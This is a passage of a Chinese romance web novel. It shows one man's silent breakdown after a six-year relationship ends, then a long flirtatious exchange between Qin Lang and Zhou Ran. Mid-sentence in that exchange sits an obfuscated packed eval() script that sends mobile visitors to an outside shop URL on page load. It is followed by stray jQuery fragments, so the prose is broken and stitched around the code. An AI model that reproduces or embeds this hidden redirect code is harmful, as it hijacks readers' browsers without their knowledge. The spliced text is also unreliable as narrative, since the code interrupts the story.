深秋的夜，在陌生的酒店房间里，窗外的城市灯火渐次熄灭，只剩下远处零星的光点。
南景背靠着冰凉的酒店房门，身体缓缓下滑，最终蜷坐在厚重却毫无温度的地毯上。黑暗中，他睁着眼，目光没有焦距地落在对面墙壁模糊的阴影轮廓上。耳畔，脑海里，反反复复，都是在酒店门外，邵既明说的每一句话，每一个字，甚至是他说话时，那冷漠带着不耐的微表情。
「六年了，我一直是这样。」
「你问凭什么。就凭这六年里，我从未要求你改变成另一个人来爱我。」
「南景，跟我回去，我就当这事没发生过。」
……
他以为自己已经耗尽了所有情绪，在街头的对峙中，那些愤怒、绝望、嘶吼，已经将他掏空。可此刻，在这绝对的安静与独处中，那些被激烈对抗暂时压下更深更细密的痛苦，无声无息地蔓延上来，淹没了他的口鼻，他的心脏，他每一寸试图保持冷静的神经。
紧绷了太久的那根弦，从他发出“分手吧”那条信息开始，或者说，从更早之前，从他一次次失望却还在自我说服时就开始紧绷的那根弦，终于，在无人看见的深夜里，承受不住这最后、也最沉重的一击，悄然崩断。
先是眼眶一阵剧烈的酸涩，视线迅速模糊，温热的液体失控地涌出，顺着冰冷的脸颊肆意流淌。然后，喉咙像被一只无形的手死死扼住，发不出任何声音。他张大了嘴，试图像普通人崩溃时那样嚎啕大哭，将胸腔里那股几乎要爆炸的痛楚和委屈嘶喊出来。
可是，没有声音。
只有急促破碎的吸气声，和更剧烈的颤抖。眼泪汹涌得近乎凶狠，瞬间打湿了前襟。他紧紧咬住自己的手腕，牙关深深陷进皮肉里，留下带血的齿痕，却依旧止不住那剧烈的颤抖。
那是怎样一副景象啊——一个成年男人，蜷在酒店房间角落的地上，张大嘴巴，面容因为极致的痛苦而扭曲，眼泪疯狂奔流，身体抖得像寒风中的落叶，却没有发出哪怕一丝一毫的哭泣声。仿佛所有的声音，所有的哀鸣，都被那股巨大的悲伤吞噬、封印在了喉咙深处，只能通过这样沉默而激烈的生理反应，来宣泄那足以撕裂灵魂的痛苦。
明明没有声音，却仿佛能听见他内心山崩地裂、世界倾覆的巨响。明明只是无声流泪，那颤抖的肩膀，绷紧的脊背，死死扣住地面的手指，却比任何嚎哭都更清晰地传达出那种无处遁形的崩溃。
原来，难过到极致，是哭不出声音的。
原来，心被碾碎成粉末，连带着发声的力气也一并被剥夺。
那些被他强行压抑、试图用理智和放下来掩埋的细节，此刻全都化作最锋利的碎片，在这无声的崩溃中翻搅——
是无数个等他到深夜，最终独自睡去的夜晚。
是精心准备的饭菜凉透，对方却只回一句“吃过了”。
是生病时自己爬起来倒水吃药，得到的只是一个隔了很久的“哦”。
是分享趣事时石沉大海的对话框。
是纪念日他假装忘记，自己配合着演出的不在意。
以及今夜，对方依然理所当然的回去和当作没发生过。
不是不爱。是爱得太卑微，太用力，用力到迷失了自己，最终发现自己小心翼翼捧出的真心，在对方眼里，或许连一场需要认真对待的“发生”都算不上。
“就当这事没发生过”。
那他这六年的时光，这六年的真心，这六年所有的欢喜、期待、失落、挣扎、以及最后这撕心裂肺的痛……算什么？
一场可以随手抹去、不值一提的闹剧吗？
眼泪浸湿了裤子的面料，冰凉地贴在皮肤上。不知道这样无声地崩溃了多久，直到喉咙因为过度用力的压抑而灼痛，直到眼泪似乎流干，只剩下干涸的刺痛感，直到身体因为长时间的紧绷和颤抖而脱力，只剩下不受控制的抽噎。
他终于极其缓慢地抬起头。脸上泪痕交错，狼狈不堪，眼睛红肿得像核桃，眼神空洞地望着前方虚空中的某一点。
窗外，天色依旧沉黑，离黎明还很远。
南景就那样坐着，一动不动，所有的情绪似乎都在刚才那场无声的暴风雨中倾泻殆尽。
有些东西，是真的死了。
死在了这个陌生城市陌生酒店的深夜里。
死在了那场耗尽所有力气的争吵之后。
死在了这场，连声音都发不出来的，彻底崩溃之中。
周冉体贴的说自己想睡一天，不想出门了。南景知道她是因为自己，明白她的用心，默契的没有说谢谢，他们兄妹之间不讲这些虚的。周冉兑现了“睡一天”的宣言，穿着宽松柔软的居家服，长发随意挽起，露出光洁的脖颈，正抱着平板电脑歪在客厅沙发上刷剧，手边放着一杯喝了一半的冰拿铁，整个人透着一股“闲人勿扰，尤其姓秦的”的松散气息。
然而，“姓秦的”显然不在此列。
门铃不识趣地响起，清脆又执着。周冉翻了个白眼，假装没听见。门铃又响，还附带了两下有节奏的敲门声。
“谁啊？”她拖长了调子，没好气地问，身体却没动。
门外传来秦朗刻意压低、故作磁性的声音：“客房服务，特供一日男友体验卡，送货上门。”
周冉差点被自己的口水呛到，她放下平板，趿拉着拖鞋走到门口，从猫眼往外看。果然，秦朗那张带着过分灿烂笑容的脸几乎占据了整个视野。
她叹了口气，拧开门锁，但只拉开一条缝，双手抱胸，倚在门框上，挑眉看着他：“你来干什么？今日休战，恕不不接客。”
“谁要跟你战了？我是来送温暖的。”秦朗咧嘴一笑，变戏法似的从背后拿出一束花，不是俗气的红玫瑰，而是配色高级、搭配着尤加利叶和白色郁金香的进口花束，用简约的牛皮纸包裹着，精致又清新。他双手捧着，脸上那副玩世不恭稍微收敛了些，眼神亮晶晶地看着她，语气是罕见的认真（至少表面看起来是）：“谈恋爱要从一束花和一次正式的告白开始。书上说的。”
他清了清嗓子：“周冉女士，基于你之前对我实施的‘强制亲密接触’及长期精神‘骚扰’，本人经过慎重考虑，决定正式提出交往申请。这是我的诚意，”他举了举花，然后目光灼灼地看进她眼里，“冉冉，我爱你。可以和我交往吗？”
周冉面无表情地看着他，又看了看那束确实很漂亮的花，足足沉默了三秒。然后，她伸出手——
却不是接花，而是直接推向秦朗的胸口，另一只手就势要关门。
“不可以。心意领了，门在那边，不送。”
“哎哎哎！别急着关门啊！”秦朗反应极快，立刻用胳膊和半边身子抵住门缝，他那力气，周冉自然抵不过，但这抵抗本身也透着点虚张声势，她要是真用全力，他也未必能这么轻松挤进来。两人心知肚明，一个半推半就，一个顺水推舟。
秦朗成功挤进门内，还顺手用脚后跟带上了门。他熟门熟路地走到客厅，将那束花放在玻璃茶几上，然后像回到自己家一样，舒展了一下身体，望向窗外的江景：“啧，这酒店选得不错啊，视野开阔，江景一览无余，适合……培养感情。”
周冉慢吞吞地走回来，没理他的茬，在另一张单人沙发里瘫坐下，拿起冰拿铁喝了一口，才斜睨着他：“你多大了，还玩谈恋爱要从一束花开始这套？秦总，你商业谈判时的精明老练呢？被狗吃了？”
秦朗立刻转身，一脸无辜地眨眨眼：“我23啊，冉冉你不是知道吗？”
“23？”周冉一时没反应过来。
“嗯啊，”秦朗点头，笑容灿烂得晃眼。
“……”周冉反应过来他在胡扯什么，抓起手边一个柔软的羽绒抱枕就朝他脑袋砸了过去，“骚包！你要点脸吧秦朗！！”
秦朗笑嘻嘻地准确接住“袭击”而来的抱枕，不但不躲，反而顺势抱着抱枕就倒进了长沙发里，摆出一个慵懒又欠揍的姿势，还故意扯了扯领口：“脸是什么？能吃吗？能换来你多看我两眼吗？不能的话，不要了。”他侧过头，枕着抱枕，眼神带钩地看着她，“再说了，我这样要钱有钱，要貌有貌，还深情专一（自封）、幽默风趣（自评）的优质股，难道还不够让你着迷，稍微那么动摇一下下你不婚不育保平安的钢铁信念？”
“你确实让我着迷。”周冉学着他的腔调，然后皮笑肉不笑地补充，“着迷于你到底能有多不要脸，以及你的自信到底是从哪个批发市场论吨进货的。至于动摇？”她晃了晃食指，“不好意思，姐的信念是钛合金的，自带反油涂层。而且，我对一切需要长期维护、可能产生情绪废料的人际关系，都、没、耐、心。”
“没耐心？”秦朗立刻抓住话头，从沙发上半撑起身，眼睛更亮了，开始翻旧账，“是谁当初在派对上，二话不说拉着我这个陌生人就往房间带的？是谁借着酒劲（他坚持认为是借口）扒我衬衫，数我腹肌有几块，还评价说‘手感不错，就是瘦了点’的？哦，对，还摸我喉结，说我声音好听……”他越说越来劲。
“停停停！打住！秦朗我警告你，再提那晚的事我立马把你从这32楼扔下去！”周冉耳朵尖有点发烫，抓起另一个抱枕做出防御姿态，“泡你是真的，姐承认，一时兴起，色令智昏，行了吧？但没后续也是真的！话题到此结束，over！我可不负责售后，更不负责你那一厢情愿、自我攻略的后续剧情发展。”
她放下抱枕，摆出一副谈判终结的姿态，甚至带着点哄小孩的敷衍语气：“要不这样，咱俩都实际点。你就当那晚是个美丽的错误，现在错误修正了。你，秦朗，大好青年，前途无量，适合找个门当户对、温柔贤淑、相信爱情相信婚姻的更好的。而我，”
她顿了顿，用一种近乎慈悲斩断一切妄念的眼神看着他，缓缓吐出几个字：“你就当我死了吧。一了百了，清净。”
房间里安静了一瞬，只有窗外的江风隐约呼啸。秦朗脸上的笑容慢慢收敛，他坐直身体，抱着那个羽绒抱枕，目光沉静地看着周冉，那眼神不再戏谑，反而有种看透一切的深邃。
就在周冉以为他要偃旗息鼓，或者说出什么伤春悲秋的话时——
秦朗忽然抬手，摸了摸自己的下巴，若有所思地开口：“当你死了啊……这个设定，有点意思。”
周冉：“？”
秦朗屈起一条腿，手肘撑在膝盖上，指尖点着额角，真的开始认真构思起来：“那按照剧情，我现在应该处于痛失所爱、心如死灰的阶段。接下来，我是该立刻殉情追随你于地下，演一出感天动地的化蝶绝恋呢？还是该强忍悲痛，孤独终老，每天对着你的照片以泪洗面，成为朋友圈里著名的情种，顺便写本《忆冉书》流传后世？”
他越说越入戏，甚至带上了点朗诵腔：“‘冉冉离世那一日，朗朗心如刀绞，天地失色，江海呜咽……’啧，文笔还行。或者，更戏剧化一点，我因思念成疾，一夜白头，然后散尽家财，出家为僧，在青灯古佛前为你诵经祈福，直至圆寂？这样听起来是不是更深情、更带感？”
他抬眼，看向已经听得目瞪口呆、嘴角抽搐的周冉，眨了眨眼，露出一个无比“真挚”的困惑表情：
“可是冉冉，我仔细想了想，这些剧本……好像都比不上我非要死皮赖脸地缠着你这个活蹦乱跳、能说能打、气死人不偿命的周冉来得有意思，来得让我……心跳加速啊。”
他放下抱枕，身体前倾，手臂搭在膝盖上，拉近了与她的距离，声音压低了，带着一种混不吝却异常清晰的执着：“所以，当你死了这个方案，恕难从命。我还是更喜欢你还活着，而且迟早会是我女朋友这个版本。难度是大了点，但我这人，就喜欢挑战高难度。尤其是，挑战你。”
他重新靠回沙发背，恢复了那副懒洋洋的样子，但看着周冉的眼神，却明明白白写着：我没开玩笑，也绝不会放弃。
阳光在茶几的花束上缓慢移动，空气里的微尘在光柱中轻舞。周冉听完秦朗那番歪理邪说，面无表情地看了他几秒，然后缓缓举起手中的平板电脑，屏幕对准他。
“看见没？”她指着屏幕上暂停的某部剧里，一个正被女主角暴打的猥琐配角，“你再不停止散发你那无处安放的深情人设光芒，你的脸，就会变得比这位仁兄还富有节奏感。”
秦朗凑近看了眼，啧啧摇头：“这哥们不行，挨打姿势不够帅。要是我，肯定用最优美的弧度倒下，确保每一帧都像世界名画《殉情者》，顺便还能露出我这件限量版衬衫的logo，血泪和奢侈品交相辉映，惨烈中带着格调，上热搜标题我都想好了——秦氏继承人为爱受辱，是道德的沦丧还是审美的升华？”
“……”周冉放下平板，扶额，“秦朗，你的脸皮是跟着你的资产一起做对冲保值了吗？怎么越来越厚，还刀枪不入了？”
“错。”秦朗竖起一根手指，严肃纠正，“我的脸皮只针对你做了特殊强化，属于周冉专属防弹版本。对外，我还是那个高贵冷艳、说一不二的秦总。”他顿了顿，补充，“当然，如果你肯对外官宣一下我，我也可以考虑增加一个炫妻狂魔的皮肤，就是那种看，这是我女朋友，厉害吧？但她不让我说的欠揍模式。”
“还皮肤，你当自己是手游呢？抽卡还得保底是吧？可惜了，姐是SSR，还是绝版非卖品，不进入任何卡池，尤其是你这看起来就很容易歪池的普信男卡池。”
“普信男？我这么优质还普信？冉冉，你摸着良心说，我这张脸，这身材，这财力，这幽默感，这死皮赖脸的专一度……哪一样普了？我这分明是六边形战士，顶配限量款！只是暂时……嗯，还没通过最终用户的兼容性测试。”
“兼容性？”周冉被他的用词逗乐了，嗤笑一声，“咱俩的兼容性，大概就像iOS和安卓，看着都是智能手机，内核完全不同，强行刷机的结果就是变砖。我现在挺好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046464|194740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的，原生系统，流畅不卡，不想装个名叫秦朗的流氓软件，天天弹窗爱我吧爱我吧，还自动绑定卸载不了。”
“流氓软件多难听，我顶多算个功能强大的男友APP，自带ATM机、保镖、厨娘（未来可开发）、暖床、解闷、毒舌陪练等多种功能，偶尔有点小广告（比如我的帅脸），但你买了终身会员，也就是当我女朋友后，立刻纯净无广，还能享受VIP专属客服，24小时随叫随到，全年无休，支持各种姿势的……售后服务。”
他最后几个字故意说得暧昧又拖沓，还冲周冉眨了眨眼。
周冉抓起刚才那个抱枕，直接扔到他脸上：“闭嘴吧你！还各种姿势，我看你是脑子里进了地沟油，炒出来的都是黄色废料！你那APP谁敢下载？一看用户协议就写着一旦安装，单方无权卸载，解释权归开发者所有，典型的霸王条款！”
秦朗接住抱枕，抱在怀里，嘿嘿一笑：“霸王条款那也是因为产品过硬，有底气。你看那些没人要的APP，求着用户下载还送红包呢。像我这种抢手货，肯定得设置点门槛，比如……需要用户特别漂亮、特别有个性、特别能打，最好还能徒手开核桃……哎呀，这不就是你吗？你看，我们简直是天作之合的官方配置！”
“我还能徒手开你天灵盖呢，要不要试试？”周冉捏了捏手指关节，发出轻微的咔哒声，配上她“核善”的微笑。
“别别，暴力退散。”秦朗举手做投降状，但笑容不减，“开天灵盖多血腥，不符合我们高端恋爱的格调。我们可以进行一些更文明的‘深入交流’，比如探讨一下，你刚才说的没耐心，具体是针对哪方面？如果是逛街拎包，我可以雇人；如果是听你唠叨，我可以装人工耳蜗，自带赞美词库；如果是……床上那点事，我觉得我体力还行，应该不至于让你觉得无聊到没耐心……”
“秦、朗！”周冉抄起手边一个沙发上的装饰小羊毛毡玩偶，这次直接砸向他脑袋，“你脑子里除了脐下三寸那点事，还能不能有点别的？我说没耐心，是指对所有需要长期经营、会产生情绪波动、可能让我伤心伤神伤钱的一切人际关系！听懂了吗？一切！包括你这种看起来就特别费心费神的六边形战士！”
秦朗接住软乎乎的羊毛毡玩偶，是一只丑萌的羊驼。他捏了捏，忽然把它举到脸旁边，学着羊驼的表情，歪头吐舌头，发出含糊的声音：“咩……费心费神？那你看我像不像一只安静的草泥马？平时就吃草（赚钱），偶尔吐口水（怼人），大部分时间保持微笑（看着你），情绪稳定，好养活，还不怎么掉毛（发际线稳固）。养一只呗，姐姐？”
“……”周冉被他这突如其来的、毫无偶像包袱的模仿弄得一时语塞，“你……你真是……脸呢？秦氏集团的形象还要不要了？”
“形象？”秦朗放下羊驼，一秒恢复正经脸，整理了一下并不凌乱的衣领，“形象那是给外人看的。在自家媳妇面前，要什么形象？怎么真实怎么来，怎么开心怎么闹。再说了，我这叫反差萌，现在流行这个。秦总对外冰山霸总，回家变身黏人修狗，这设定，放小说里都是要上畅销榜的。”
“谁是你媳妇！修狗？我看你是修成精的哈士奇，拆家一流！”周冉终于忍不住，噗嗤一声笑出来，又赶紧板起脸，“还有，别乱认亲。我可没你这么大的……好大儿。”
“哎！”秦朗突然响亮地应了一声，眼睛亮得惊人，“妈妈！”
“噗！！！”周冉刚喝进嘴里的一口冰拿铁全喷了出来，好在及时扭开了头，但还是呛得直咳嗽，脸涨得通红，“秦朗你他妈……咳咳……你是不是有病！大病！”
秦朗立刻抽了张纸巾递过去，一脸“孝心”：“妈妈别激动，注意身体。虽然咱们这关系进展是快了点儿，从追求者直接跨物种到母子，但我不介意，真的。以后我就叫你冉妈，你叫我朗宝，咱各论各的。你要是实在接受不了这么刺激的，咱们退回上一步，预备役男友也行，我不挑。”
周冉接过纸巾擦嘴，好不容易止住咳，看着秦朗那副“我就喜欢你看不惯我又干不掉我”的贱嗖嗖样子，忽然觉得跟他生气都显得自己很傻。她长叹一口气，像是认命般瘫回沙发里，望着天花板：“我上辈子是不是炸了银河系，这辈子才派你来惩罚我？”
“也可能是拯救呢？”秦朗也放松下来，学着她的样子瘫在对面沙发里，长腿一伸，几乎要碰到她的脚，“你看，我来了之后，你生活多了多少乐趣？以前就是赚钱、花钱、怼南景，现在多了个固定节目：怼秦朗。运动量增加了，笑容也多了，还能免费观看顶级脱口秀，附赠帅哥养眼服务。这性价比，比你那什么理财基金高多了吧？”
“高个屁，精神损失费你赔吗？”
“赔啊，用我余生的贴心服务慢慢赔，利滚利，情生情，保证让你连本带利，赚得盆满钵满。”秦朗侧过头，看着她，声音懒洋洋的，却带着温柔，“说真的，冉冉。你不用马上答应我，就像你不用马上相信爱情相信婚姻一样。你就当……身边多了个挺有意思的玩意儿，烦了逗两下，闷了骂几句，有事随便使唤，没事看着养眼。咱不盖章，不画押，不搞那些虚头巴脑的承诺。你就看看，我这个玩意儿，是不是比你看过的所有韩剧男主、小说男主、甚至你那堆‘热血动漫’里的纸片人，都更有趣，更……经久耐用？”
他停顿了一下，眼神里有难得一见的澄澈和坦诚，虽然语气依旧带着他特有的调侃：“万一，我是说万一啊，你看久了，忽然某天觉得：诶，这玩意儿好像也不是完全不能用，放家里当个镇宅的，偶尔暖个床，好像也不亏？那时候，你再考虑给我转个正，行不？”
房间里安静下来，只有窗外隐约的江涛声。阳光已经移到了那束花上，给白色的郁金香花瓣镶上了毛茸茸的金边。
周冉没说话，依旧看着天花板，但紧绷的肩膀和故意板着的脸，似乎柔和了那么一丝丝。过了好一会儿，她才幽幽地开口，声音闷闷的：“镇宅？我看是镇孽还差不多。还暖床，谁知道你会不会半夜变身，表演一个热水器成精？”
秦朗眼睛一亮，知道这就是她别扭的松动。他立刻顺杆爬，用气声模仿热水器启动的“嗡”声，然后压低嗓子，用一种午夜电台般的暧昧语调说：“您好，您的专属热水器已上线。本热水器支持多种模式：恒温陪伴模式、急速加热模式、以及……特别耗电但体验绝佳的鸳鸯共浴模式。请问尊贵的用户，今晚想试用哪种服务？首次体验，免费哦。”
“滚！！！”周冉终于破功，抓起手边所有能抓的东西，一股脑地砸向那个笑得上气不接下气的男人。
秦朗一边笑着躲闪，一边心想：这堵钛合金墙，好像终于被我用不要脸的精神，凿出条能透光的缝了。虽然距离破墙而入还早，但至少，光能照进去了。
而周冉在愤怒的追击中，嘴角却不受控制地，悄悄弯起了一个弧度。
这个流氓……好像，也没那么烦人了。